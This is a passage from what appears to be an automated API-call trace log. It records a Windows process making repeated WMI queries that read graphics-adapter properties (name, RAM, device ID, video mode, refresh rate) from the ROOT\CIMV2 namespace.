[3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x1b0bb198 | out: ppvObject=0x1b0bb198*=0x0) returned 0x80004002 [0157.066] WbemDefPath:IUnknown:AddRef (This=0x4f2f80) returned 0x3 [0157.066] WbemDefPath:IUnknown:QueryInterface (in: This=0x4f2f80, riid=0x7ffa5f00bbf0*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b0bb058 | out: ppvObject=0x1b0bb058*=0x0) returned 0x80004002 [0157.066] WbemDefPath:IUnknown:QueryInterface (in: This=0x4f2f80, riid=0x7ffa5f00bc00*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b0bafe0 | out: ppvObject=0x1b0bafe0*=0x0) returned 0x80004002 [0157.066] WbemDefPath:IUnknown:QueryInterface (in: This=0x4f2f80, riid=0x7ffa5f0049a8*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b0bafd0 | out: ppvObject=0x1b0bafd0*=0x1b33cda0) returned 0x0 [0157.066] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1b33cda0, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b0baff8 | out: pCid=0x1b0baff8*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0157.066] WbemDefPath:IUnknown:Release (This=0x1b33cda0) returned 0x3 [0157.066] CoGetContextToken (in: pToken=0x1b0bb080 | out: pToken=0x1b0bb080) returned 0x0 [0157.067] CoGetContextToken (in: pToken=0x1b0bb500 | out: pToken=0x1b0bb500) returned 0x0 [0157.067] WbemDefPath:IUnknown:QueryInterface (in: This=0x4f2f80, riid=0x7ffa5f00bc30*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b0bb5c0 | out: ppvObject=0x1b0bb5c0*=0x0) returned 0x80004002 [0157.067] WbemDefPath:IUnknown:Release (This=0x4f2f80) returned 0x2 [0157.067] WbemDefPath:IUnknown:Release (This=0x4f2f80) returned 0x1 [0157.067] CoGetContextToken (in: pToken=0x1b0bc2f0 | out: pToken=0x1b0bc2f0) returned 0x0 [0157.067] CoGetContextToken (in: pToken=0x1b0bc1f0 | out: pToken=0x1b0bc1f0) returned 0x0 [0157.067] WbemDefPath:IUnknown:QueryInterface (in: This=0x4f2f80, riid=0x1b0bc350*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b0bc320 | out: ppvObject=0x1b0bc320*=0x4f2f80) returned 0x0 [0157.067] WbemDefPath:IUnknown:AddRef (This=0x4f2f80) returned 0x3 [0157.067] WbemDefPath:IUnknown:Release (This=0x4f2f80) returned 0x2 [0157.067] WbemDefPath:IWbemPath:SetText (This=0x4f2f80, uMode=0x4, pszPath="\\\\XC64ZB\\ROOT\\CIMV2:Win32_VideoController.DeviceID=\"VideoController1\"") returned 0x0 [0157.067] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x4f2bc0, puCount=0x1b0bc6d8 | out: puCount=0x1b0bc6d8*=0x2) returned 0x0 [0157.067] WbemDefPath:IWbemPath:GetText (in: This=0x4f2bc0, lFlags=4, puBuffLength=0x1b0bc6d0*=0x0, pszText=0x0 | out: puBuffLength=0x1b0bc6d0*=0xf, pszText=0x0) returned 0x0 [0157.067] WbemDefPath:IWbemPath:GetText (in: This=0x4f2bc0, lFlags=4, puBuffLength=0x1b0bc6d0*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b0bc6d0*=0xf, pszText="\\\\.\\root\\CIMV2") returned 0x0 [0157.067] CoGetContextToken (in: pToken=0x1b0bc4a0 | out: pToken=0x1b0bc4a0) returned 0x0 [0157.067] WbemLocator:IUnknown:Release (This=0x1b351388) returned 0x1 [0157.067] IUnknown:Release (This=0x1b2e0d00) returned 0x0 [0157.070] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x4f2bc0, puCount=0x1b0bc788 | out: puCount=0x1b0bc788*=0x2) returned 0x0 [0157.070] WbemDefPath:IWbemPath:GetText (in: This=0x4f2bc0, lFlags=4, puBuffLength=0x1b0bc780*=0x0, pszText=0x0 | out: puBuffLength=0x1b0bc780*=0xf, pszText=0x0) returned 0x0 [0157.070] WbemDefPath:IWbemPath:GetText (in: This=0x4f2bc0, lFlags=4, puBuffLength=0x1b0bc780*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b0bc780*=0xf, pszText="\\\\.\\root\\CIMV2") returned 0x0 [0157.070] IWbemClassObject:Get (in: This=0x1b349870, wszName="Name", lFlags=0, pVal=0x1b0bc740*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2b4e708*=0, plFlavor=0x2b4e70c*=0 | out: pVal=0x1b0bc740*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Intel(R) HD Graphics 630", varVal2=0x0), pType=0x2b4e708*=8, plFlavor=0x2b4e70c*=0) returned 0x0 [0157.070] SysStringByteLen (bstr="Intel(R) HD Graphics 630") returned 0x30 [0157.070] SysStringByteLen (bstr="Intel(R) HD Graphics 630") returned 0x30 [0157.070] IWbemClassObject:Get (in: This=0x1b349870, wszName="Name", lFlags=0, pVal=0x1b0bc790*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2b4e708*=8, plFlavor=0x2b4e70c*=0 | out: pVal=0x1b0bc790*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Intel(R) HD Graphics 630", varVal2=0x0), pType=0x2b4e708*=8, plFlavor=0x2b4e70c*=0) returned 0x0 [0157.070] SysStringByteLen (bstr="Intel(R) HD Graphics 630") returned 0x30 [0157.070] SysStringByteLen (bstr="Intel(R) HD Graphics 630") returned 0x30 [0157.070] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x4f2bc0, puCount=0x1b0bc788 | out: puCount=0x1b0bc788*=0x2) returned 0x0 [0157.071] WbemDefPath:IWbemPath:GetText (in: This=0x4f2bc0, lFlags=4, puBuffLength=0x1b0bc780*=0x0, pszText=0x0 | out: puBuffLength=0x1b0bc780*=0xf, pszText=0x0) returned 0x0 [0157.071] WbemDefPath:IWbemPath:GetText (in: This=0x4f2bc0, lFlags=4, puBuffLength=0x1b0bc780*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b0bc780*=0xf, pszText="\\\\.\\root\\CIMV2") returned 0x0 [0157.071] IWbemClassObject:Get (in: This=0x1b349870, wszName="Name", lFlags=0, pVal=0x1b0bc740*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2b4e820*=0, plFlavor=0x2b4e824*=0 | out: pVal=0x1b0bc740*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Intel(R) HD Graphics 630", varVal2=0x0), pType=0x2b4e820*=8, plFlavor=0x2b4e824*=0) returned 0x0 [0157.071] SysStringByteLen (bstr="Intel(R) HD Graphics 630") returned 0x30 [0157.071] SysStringByteLen (bstr="Intel(R) HD Graphics 630") returned 0x30 [0157.071] IWbemClassObject:Get (in: This=0x1b349870, wszName="Name", lFlags=0, pVal=0x1b0bc790*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2b4e820*=8, plFlavor=0x2b4e824*=0 | out: pVal=0x1b0bc790*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Intel(R) HD Graphics 630", varVal2=0x0), pType=0x2b4e820*=8, plFlavor=0x2b4e824*=0) returned 0x0 [0157.071] SysStringByteLen (bstr="Intel(R) HD Graphics 630") returned 0x30 [0157.071] SysStringByteLen (bstr="Intel(R) HD Graphics 630") returned 0x30 [0157.071] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x4f2bc0, puCount=0x1b0bc788 | out: puCount=0x1b0bc788*=0x2) returned 0x0 [0157.071] WbemDefPath:IWbemPath:GetText (in: This=0x4f2bc0, lFlags=4, puBuffLength=0x1b0bc780*=0x0, pszText=0x0 | out: puBuffLength=0x1b0bc780*=0xf, pszText=0x0) returned 0x0 [0157.071] WbemDefPath:IWbemPath:GetText (in: This=0x4f2bc0, lFlags=4, puBuffLength=0x1b0bc780*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b0bc780*=0xf, pszText="\\\\.\\root\\CIMV2") returned 0x0 [0157.071] IWbemClassObject:Get (in: This=0x1b349870, wszName="AdapterRAM", lFlags=0, pVal=0x1b0bc740*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2b4e9d0*=0, plFlavor=0x2b4e9d4*=0 | out: pVal=0x1b0bc740*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2b4e9d0*=19, plFlavor=0x2b4e9d4*=0) returned 0x0 [0157.071] IWbemClassObject:Get (in: This=0x1b349870, wszName="AdapterRAM", lFlags=0, pVal=0x1b0bc790*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2b4e9d0*=19, plFlavor=0x2b4e9d4*=0 | out: pVal=0x1b0bc790*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2b4e9d0*=19, plFlavor=0x2b4e9d4*=0) returned 0x0 [0157.076] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x4f2bc0, puCount=0x1b0bc788 | out: puCount=0x1b0bc788*=0x2) returned 0x0 [0157.076] WbemDefPath:IWbemPath:GetText (in: This=0x4f2bc0, lFlags=4, puBuffLength=0x1b0bc780*=0x0, pszText=0x0 | out: puBuffLength=0x1b0bc780*=0xf, pszText=0x0) returned 0x0 [0157.076] WbemDefPath:IWbemPath:GetText (in: This=0x4f2bc0, lFlags=4, puBuffLength=0x1b0bc780*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b0bc780*=0xf, pszText="\\\\.\\root\\CIMV2") returned 0x0 [0157.077] IWbemClassObject:Get (in: This=0x1b349870, wszName="AdapterRAM", lFlags=0, pVal=0x1b0bc740*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2b4f110*=0, plFlavor=0x2b4f114*=0 | out: pVal=0x1b0bc740*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2b4f110*=19, plFlavor=0x2b4f114*=0) returned 0x0 [0157.077] IWbemClassObject:Get (in: This=0x1b349870, wszName="AdapterRAM", lFlags=0, pVal=0x1b0bc790*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2b4f110*=19, plFlavor=0x2b4f114*=0 | out: pVal=0x1b0bc790*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2b4f110*=19, plFlavor=0x2b4f114*=0) returned 0x0 [0157.135] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x4f2bc0, puCount=0x1b0bc788 | out: puCount=0x1b0bc788*=0x2) returned 0x0 [0157.135] WbemDefPath:IWbemPath:GetText (in: This=0x4f2bc0, lFlags=4, puBuffLength=0x1b0bc780*=0x0, pszText=0x0 | out: puBuffLength=0x1b0bc780*=0xf, pszText=0x0) returned 0x0 [0157.135] WbemDefPath:IWbemPath:GetText (in: This=0x4f2bc0, lFlags=4, puBuffLength=0x1b0bc780*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b0bc780*=0xf, pszText="\\\\.\\root\\CIMV2") returned 0x0 [0157.135] IWbemClassObject:Get (in: This=0x1b349870, wszName="DeviceID", lFlags=0, pVal=0x1b0bc740*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2b50cf8*=0, plFlavor=0x2b50cfc*=0 | out: pVal=0x1b0bc740*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="VideoController1", varVal2=0x0), pType=0x2b50cf8*=8, plFlavor=0x2b50cfc*=0) returned 0x0 [0157.135] SysStringByteLen (bstr="VideoController1") returned 0x20 [0157.135] SysStringByteLen (bstr="VideoController1") returned 0x20 [0157.135] IWbemClassObject:Get (in: This=0x1b349870, wszName="DeviceID", lFlags=0, pVal=0x1b0bc790*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2b50cf8*=8, plFlavor=0x2b50cfc*=0 | out: pVal=0x1b0bc790*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="VideoController1", varVal2=0x0), pType=0x2b50cf8*=8, plFlavor=0x2b50cfc*=0) returned 0x0 [0157.135] SysStringByteLen (bstr="VideoController1") returned 0x20 [0157.135] SysStringByteLen (bstr="VideoController1") returned 0x20 [0157.135] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x4f2bc0, puCount=0x1b0bc788 | out: puCount=0x1b0bc788*=0x2) returned 0x0 [0157.135] WbemDefPath:IWbemPath:GetText (in: This=0x4f2bc0, lFlags=4, puBuffLength=0x1b0bc780*=0x0, pszText=0x0 | out: puBuffLength=0x1b0bc780*=0xf, pszText=0x0) returned 0x0 [0157.135] WbemDefPath:IWbemPath:GetText (in: This=0x4f2bc0, lFlags=4, puBuffLength=0x1b0bc780*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b0bc780*=0xf, pszText="\\\\.\\root\\CIMV2") returned 0x0 [0157.135] IWbemClassObject:Get (in: This=0x1b349870, wszName="DeviceID", lFlags=0, pVal=0x1b0bc740*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2b50df0*=0, plFlavor=0x2b50df4*=0 | out: pVal=0x1b0bc740*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="VideoController1", varVal2=0x0), pType=0x2b50df0*=8, plFlavor=0x2b50df4*=0) returned 0x0 [0157.135] SysStringByteLen (bstr="VideoController1") returned 0x20 [0157.135] SysStringByteLen (bstr="VideoController1") returned 0x20 [0157.136] IWbemClassObject:Get (in: This=0x1b349870, wszName="DeviceID", lFlags=0, pVal=0x1b0bc790*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2b50df0*=8, plFlavor=0x2b50df4*=0 | out: pVal=0x1b0bc790*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="VideoController1", varVal2=0x0), pType=0x2b50df0*=8, plFlavor=0x2b50df4*=0) returned 0x0 [0157.136] SysStringByteLen (bstr="VideoController1") returned 0x20 [0157.136] SysStringByteLen (bstr="VideoController1") returned 0x20 [0157.136] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x4f2bc0, puCount=0x1b0bc788 | out: puCount=0x1b0bc788*=0x2) returned 0x0 [0157.136] WbemDefPath:IWbemPath:GetText (in: This=0x4f2bc0, lFlags=4, puBuffLength=0x1b0bc780*=0x0, pszText=0x0 | out: puBuffLength=0x1b0bc780*=0xf, pszText=0x0) returned 0x0 [0157.136] WbemDefPath:IWbemPath:GetText (in: This=0x4f2bc0, lFlags=4, puBuffLength=0x1b0bc780*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b0bc780*=0xf, pszText="\\\\.\\root\\CIMV2") returned 0x0 [0157.136] IWbemClassObject:Get (in: This=0x1b349870, wszName="VideoArchitecture", lFlags=0, pVal=0x1b0bc740*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2b50fa8*=0, plFlavor=0x2b50fac*=0 | out: pVal=0x1b0bc740*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x5, varVal2=0x0), pType=0x2b50fa8*=18, plFlavor=0x2b50fac*=0) returned 0x0 [0157.136] IWbemClassObject:Get (in: This=0x1b349870, wszName="VideoArchitecture", lFlags=0, pVal=0x1b0bc790*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2b50fa8*=18, plFlavor=0x2b50fac*=0 | out: pVal=0x1b0bc790*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x5, varVal2=0x0), pType=0x2b50fa8*=18, plFlavor=0x2b50fac*=0) returned 0x0 [0157.136] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x4f2bc0, puCount=0x1b0bc788 | out: puCount=0x1b0bc788*=0x2) returned 0x0 [0157.136] WbemDefPath:IWbemPath:GetText (in: This=0x4f2bc0, lFlags=4, puBuffLength=0x1b0bc780*=0x0, pszText=0x0 | out: puBuffLength=0x1b0bc780*=0xf, pszText=0x0) returned 0x0 [0157.136] WbemDefPath:IWbemPath:GetText (in: This=0x4f2bc0, lFlags=4, puBuffLength=0x1b0bc780*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b0bc780*=0xf, pszText="\\\\.\\root\\CIMV2") returned 0x0 [0157.136] IWbemClassObject:Get (in: This=0x1b349870, wszName="VideoArchitecture", lFlags=0, pVal=0x1b0bc740*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2b51080*=0, plFlavor=0x2b51084*=0 | out: pVal=0x1b0bc740*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x5, varVal2=0x0), pType=0x2b51080*=18, plFlavor=0x2b51084*=0) returned 0x0 [0157.136] IWbemClassObject:Get (in: This=0x1b349870, wszName="VideoArchitecture", lFlags=0, pVal=0x1b0bc790*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2b51080*=18, plFlavor=0x2b51084*=0 | out: pVal=0x1b0bc790*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x5, varVal2=0x0), pType=0x2b51080*=18, plFlavor=0x2b51084*=0) returned 0x0 [0157.137] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x4f2bc0, puCount=0x1b0bc788 | out: puCount=0x1b0bc788*=0x2) returned 0x0 [0157.137] WbemDefPath:IWbemPath:GetText (in: This=0x4f2bc0, lFlags=4, puBuffLength=0x1b0bc780*=0x0, pszText=0x0 | out: puBuffLength=0x1b0bc780*=0xf, pszText=0x0) returned 0x0 [0157.137] WbemDefPath:IWbemPath:GetText (in: This=0x4f2bc0, lFlags=4, puBuffLength=0x1b0bc780*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b0bc780*=0xf, pszText="\\\\.\\root\\CIMV2") returned 0x0 [0157.137] IWbemClassObject:Get (in: This=0x1b349870, wszName="VideoProcessor", lFlags=0, pVal=0x1b0bc740*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2b51220*=0, plFlavor=0x2b51224*=0 | out: pVal=0x1b0bc740*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Intel(R) HD Graphics Family", varVal2=0x0), pType=0x2b51220*=8, plFlavor=0x2b51224*=0) returned 0x0 [0157.137] SysStringByteLen (bstr="Intel(R) HD Graphics Family") returned 0x36 [0157.137] SysStringByteLen (bstr="Intel(R) HD Graphics Family") returned 0x36 [0157.137] IWbemClassObject:Get (in: This=0x1b349870, wszName="VideoProcessor", lFlags=0, pVal=0x1b0bc790*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2b51220*=8, plFlavor=0x2b51224*=0 | out: pVal=0x1b0bc790*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Intel(R) HD Graphics Family", varVal2=0x0), pType=0x2b51220*=8, plFlavor=0x2b51224*=0) returned 0x0 [0157.137] SysStringByteLen (bstr="Intel(R) HD Graphics Family") returned 0x36 [0157.137] SysStringByteLen (bstr="Intel(R) HD Graphics Family") returned 0x36 [0157.137] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x4f2bc0, puCount=0x1b0bc788 | out: puCount=0x1b0bc788*=0x2) returned 0x0 [0157.137] WbemDefPath:IWbemPath:GetText (in: This=0x4f2bc0, lFlags=4, puBuffLength=0x1b0bc780*=0x0, pszText=0x0 | out: puBuffLength=0x1b0bc780*=0xf, pszText=0x0) returned 0x0 [0157.137] WbemDefPath:IWbemPath:GetText (in: This=0x4f2bc0, lFlags=4, puBuffLength=0x1b0bc780*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b0bc780*=0xf, pszText="\\\\.\\root\\CIMV2") returned 0x0 [0157.137] IWbemClassObject:Get (in: This=0x1b349870, wszName="VideoProcessor", lFlags=0, pVal=0x1b0bc740*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2b51338*=0, plFlavor=0x2b5133c*=0 | out: pVal=0x1b0bc740*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Intel(R) HD Graphics Family", varVal2=0x0), pType=0x2b51338*=8, plFlavor=0x2b5133c*=0) returned 0x0 [0157.137] SysStringByteLen (bstr="Intel(R) HD Graphics Family") returned 0x36 [0157.137] SysStringByteLen (bstr="Intel(R) HD Graphics Family") returned 0x36 [0157.138] IWbemClassObject:Get (in: This=0x1b349870, wszName="VideoProcessor", lFlags=0, pVal=0x1b0bc790*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2b51338*=8, plFlavor=0x2b5133c*=0 | out: pVal=0x1b0bc790*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Intel(R) HD Graphics Family", varVal2=0x0), pType=0x2b51338*=8, plFlavor=0x2b5133c*=0) returned 0x0 [0157.138] SysStringByteLen (bstr="Intel(R) HD Graphics Family") returned 0x36 [0157.138] SysStringByteLen (bstr="Intel(R) HD Graphics Family") returned 0x36 [0157.138] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x4f2bc0, puCount=0x1b0bc788 | out: puCount=0x1b0bc788*=0x2) returned 0x0 [0157.138] WbemDefPath:IWbemPath:GetText (in: This=0x4f2bc0, lFlags=4, puBuffLength=0x1b0bc780*=0x0, pszText=0x0 | out: puBuffLength=0x1b0bc780*=0xf, pszText=0x0) returned 0x0 [0157.138] WbemDefPath:IWbemPath:GetText (in: This=0x4f2bc0, lFlags=4, puBuffLength=0x1b0bc780*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b0bc780*=0xf, pszText="\\\\.\\root\\CIMV2") returned 0x0 [0157.138] IWbemClassObject:Get (in: This=0x1b349870, wszName="VideoModeDescription", lFlags=0, pVal=0x1b0bc740*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2b51520*=0, plFlavor=0x2b51524*=0 | out: pVal=0x1b0bc740*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="1440 x 900 x 4294967296 colors", varVal2=0x0), pType=0x2b51520*=8, plFlavor=0x2b51524*=0) returned 0x0 [0157.138] SysStringByteLen (bstr="1440 x 900 x 4294967296 colors") returned 0x3c [0157.138] SysStringByteLen (bstr="1440 x 900 x 4294967296 colors") returned 0x3c [0157.138] IWbemClassObject:Get (in: This=0x1b349870, wszName="VideoModeDescription", lFlags=0, pVal=0x1b0bc790*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2b51520*=8, plFlavor=0x2b51524*=0 | out: pVal=0x1b0bc790*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="1440 x 900 x 4294967296 colors", varVal2=0x0), pType=0x2b51520*=8, plFlavor=0x2b51524*=0) returned 0x0 [0157.138] SysStringByteLen (bstr="1440 x 900 x 4294967296 colors") returned 0x3c [0157.138] SysStringByteLen (bstr="1440 x 900 x 4294967296 colors") returned 0x3c [0157.138] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x4f2bc0, puCount=0x1b0bc788 | out: puCount=0x1b0bc788*=0x2) returned 0x0 [0157.138] WbemDefPath:IWbemPath:GetText (in: This=0x4f2bc0, lFlags=4, puBuffLength=0x1b0bc780*=0x0, pszText=0x0 | out: puBuffLength=0x1b0bc780*=0xf, pszText=0x0) returned 0x0 [0157.138] WbemDefPath:IWbemPath:GetText (in: This=0x4f2bc0, lFlags=4, puBuffLength=0x1b0bc780*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b0bc780*=0xf, pszText="\\\\.\\root\\CIMV2") returned 0x0 [0157.139] IWbemClassObject:Get (in: This=0x1b349870, wszName="VideoModeDescription", lFlags=0, pVal=0x1b0bc740*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2b51648*=0, plFlavor=0x2b5164c*=0 | out: pVal=0x1b0bc740*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="1440 x 900 x 4294967296 colors", varVal2=0x0), pType=0x2b51648*=8, plFlavor=0x2b5164c*=0) returned 0x0 [0157.139] SysStringByteLen (bstr="1440 x 900 x 4294967296 colors") returned 0x3c [0157.139] SysStringByteLen (bstr="1440 x 900 x 4294967296 colors") returned 0x3c [0157.139] IWbemClassObject:Get (in: This=0x1b349870, wszName="VideoModeDescription", lFlags=0, pVal=0x1b0bc790*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2b51648*=8, plFlavor=0x2b5164c*=0 | out: pVal=0x1b0bc790*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="1440 x 900 x 4294967296 colors", varVal2=0x0), pType=0x2b51648*=8, plFlavor=0x2b5164c*=0) returned 0x0 [0157.139] SysStringByteLen (bstr="1440 x 900 x 4294967296 colors") returned 0x3c [0157.139] SysStringByteLen (bstr="1440 x 900 x 4294967296 colors") returned 0x3c [0157.139] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x4f2bc0, puCount=0x1b0bc788 | out: puCount=0x1b0bc788*=0x2) returned 0x0 [0157.139] WbemDefPath:IWbemPath:GetText (in: This=0x4f2bc0, lFlags=4, puBuffLength=0x1b0bc780*=0x0, pszText=0x0 | out: puBuffLength=0x1b0bc780*=0xf, pszText=0x0) returned 0x0 [0157.139] WbemDefPath:IWbemPath:GetText (in: This=0x4f2bc0, lFlags=4, puBuffLength=0x1b0bc780*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b0bc780*=0xf, pszText="\\\\.\\root\\CIMV2") returned 0x0 [0157.139] IWbemClassObject:Get (in: This=0x1b349870, wszName="MaxRefreshRate", lFlags=0, pVal=0x1b0bc740*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2b51818*=0, plFlavor=0x2b5181c*=0 | out: pVal=0x1b0bc740*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x40, varVal2=0x0), pType=0x2b51818*=19, plFlavor=0x2b5181c*=0) returned 0x0 [0157.139] IWbemClassObject:Get (in: This=0x1b349870, wszName="MaxRefreshRate", lFlags=0, pVal=0x1b0bc790*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2b51818*=19, plFlavor=0x2b5181c*=0 | out: pVal=0x1b0bc790*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x40, varVal2=0x0), pType=0x2b51818*=19, plFlavor=0x2b5181c*=0) returned 0x0 [0157.139] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x4f2bc0, puCount=0x1b0bc788 | out: puCount=0x1b0bc788*=0x2) returned 0x0 [0157.139] WbemDefPath:IWbemPath:GetText (in: This=0x4f2bc0, lFlags=4, puBuffLength=0x1b0bc780*=0x0, pszText=0x0 | out: puBuffLength=0x1b0bc780*=0xf, pszText=0x0) returned 0x0 